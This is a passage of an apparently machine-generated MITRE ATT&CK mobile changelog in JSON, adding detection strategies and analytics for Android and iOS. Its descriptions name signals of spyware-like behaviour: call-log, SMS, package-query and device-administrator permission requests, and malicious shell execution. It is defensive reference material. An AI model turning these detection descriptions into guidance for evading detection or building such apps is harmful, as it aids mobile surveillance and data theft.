"1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--395c6e70-21f8-4613-bdec-96ecba03a5b4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0620", + "external_id": "DET0620" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Web Protocols", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f12b94b0-ec2f-4eb1-9ea4-8632e41475a1", + "x-mitre-analytic--a16c57b3-6a4c-4b15-92e9-d2d29f5b7d69" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--69f0f372-4bb1-4c0e-b81a-d425b2f6f31f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0672", + "external_id": "DET0672" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Web Service", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ab85ff40-2b75-477a-b5ec-f35f2fcde728", + "x-mitre-analytic--a0bb0e33-c40f-46f5-b64a-07faa6946d83" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f06f44c7-97ff-4f8d-8c72-650c98e0ebdc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0709", + "external_id": "DET0709" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Wi-Fi Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a3b1f9ea-184b-4429-94c0-d04c3b457b91", + "x-mitre-analytic--ea9bb66e-1ced-4448-8d64-4184ae1c0ac9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + } + ], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "analytics": { + "additions": [ + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--23a1b062-847e-4912-8e5e-5b69867af4a4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0598#AN1644", + "external_id": "AN1644" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1644", + "description": "Application vetting services may detect API calls to `performGlobalAction(int)`. \nThe user can view a list of device administrators and applications that have registered accessibility services in device settings. The user can typically visually see when an action happens that they did not initiate and can subsequently review installed applications for any out of place or unknown ones. Applications that register an accessibility service or request device administrator permissions should be scrutinized further for malicious behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a69604d3-2909-46bf-afd3-39b47ac5e5fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0599#AN1645", + "external_id": "AN1645" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1645", + "description": "The user can view the default SMS handler in system settings.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--992c6fa4-689c-4ce1-883f-f48a8b1c5ccc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0600#AN1646", + "external_id": "AN1646" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1646", + "description": "Application vetting services could look for the Android permission `android.permission.QUERY_ALL_PACKAGES`, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API `LSApplicationWorkspace` and apply extra scrutiny to applications that employ it.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bff6f104-006e-48e5-ac3f-4633bb3abac5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0600#AN1647", + "external_id": "AN1647" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1647", + "description": "Application vetting services could look for the Android permission `android.permission.QUERY_ALL_PACKAGES`, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API `LSApplicationWorkspace` and apply extra scrutiny to applications that employ it.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--55699534-c11f-4f9b-8908-a0c7d59160fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0601#AN1648", + "external_id": "AN1648" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1648", + "description": "System information discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--04e54116-5787-4bb0-9c4a-2b620a80b5dc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0601#AN1649", + "external_id": "AN1649" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1649", + "description": "System information discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9ed67778-6277-4e12-aa3e-29f39a81e67a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0602#AN1650", + "external_id": "AN1650" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1650", + "description": "Application vetting services could look for `android.permission.READ_CALL_LOG` in an Android application\u2019s manifest. Most applications do not need call log access, so extra scrutiny could be applied to those that request it. \nOn Android, the user can manage which applications have permission to access the call log through the device settings screen, revoking the permission if necessary.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9cd8928d-a26d-42c0-8a23-0b10816c5d21", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0602#AN1651", + "external_id": "AN1651" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1651", + "description": "Application vetting services could look for `android.permission.READ_CALL_LOG` in an Android application\u2019s manifest. Most applications do not need call log access, so extra scrutiny could be applied to those that request it. \nOn Android, the user can manage which applications have permission to access the call log through the device settings screen, revoking the permission if necessary.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a5c4230b-7064-4863-9a60-e0565042d452", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0603#AN1652", + "external_id": "AN1652" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1652", + "description": "The user can view a list of device administrators in device settings and revoke permission where appropriate. Applications that request device administrator permissions should be scrutinized further for malicious behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9e2b0e14-eabd-4eb7-93b0-da238e3786db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0604#AN1653", + "external_id": "AN1653" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1653", + "description": "Integrity checking mechanisms can potentially detect unauthorized hardware modifications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--53491f5a-7062-41f0-a51d-07b52dc8192c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0604#AN1654", + "external_id": "AN1654" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1654", + "description": "Integrity checking mechanisms can potentially detect unauthorized hardware modifications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dd7242e8-12d5-46b4-bc2c-cff6c2dbaa27", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0605#AN1655", + "external_id": "AN1655" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1655", + "description": "Application vetting services could closely scrutinize applications that request Device Administrator permissions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d86a141c-b4fa-48fd-a15b-2cd3254b3400", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0606#AN1656", + "external_id": "AN1656" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1656", + "description": "The user can view a list of device administrators and applications that have registered Accessibility services in device settings. Applications that register an Accessibility service or request device administrator permissions should be scrutinized further for malicious behavior. \nApplication vetting services can look for applications that request permissions to Accessibility services or application overlay. \nMonitor for API calls that are related to GooglePlayServices. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e2f72131-14d1-411f-8e8c-aa3453dd5456", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "Process", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f2c74903-6770-4f55-9a11-edcf6e00938e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0607#AN1657", + "external_id": "AN1657" + }, + { + "source_name": "Samsung Knox Mobile Threat Defense", + "description": "Samsung Knox Partner Program. (n.d.). Knox for Mobile Threat Defense. Retrieved March 30, 2022.", + "url": "https://partner.samsungknox.com/mtd" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1657", + "description": "Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells.\nMobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to newly created processes and their parameters, potentially detecting unwanted or malicious shells.\nApplication vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense)\nMobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to running processes and their parameters, potentially detecting unwanted or malicious shells.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "Process", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--649ee05c-9f09-47fc-802a-7df2ce362563", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0607#AN1658", + "external_id": "AN1658" + }, + { + "source_name": "Samsung Knox Mobile Threat Defense", + "description": "Samsung Knox Partner Program. (n.d.). Knox for Mobile Threat Defense. Retrieved March 30, 2022.", + "url": "https://partner.samsungknox.com/mtd" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1658", + "description": "Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells.\nMobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to newly created processes and their parameters, potentially detecting unwanted or malicious shells.\nApplication vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense)\nMobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to running processes and their parameters, potentially detecting unwanted or malicious shells.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "Process", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5c280910-f7cf-4e7a-9b99-a592115dbc8b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0608#AN1659", + "external_id": "AN1659" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1659", + "description": "On Android, the user can review which applications can use premium SMS features in the \"Special access\" page within application settings. \nApplication vetting services can detect when applications request the `SEND_SMS` permission, which should be infrequently used.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ccb42e9d-557f-4dc5-b313-75fb6b212821", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0608#AN1660", + "external_id": "AN1660" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1660", + "description": "On Android, the user can review which applications can use premium SMS features in the \"Special access\" page within application settings. \nApplication vetting services can detect when applications request the `SEND_SMS` permission, which should be infrequently used.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8f5e4bee-0677-41dd-89ad-8a467ae08eec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0609#AN1661", + "external_id": "AN1661" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1661", + "description": "Unexpected behavior from an application could be an indicator of masquerading.\nApplication vetting services may potentially determine if an application contains suspicious code and/or metadata.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--155b0dfd-15d5-45bd-a8c4-249adc52f20d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0609#AN1662", + "external_id": "AN1662" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": 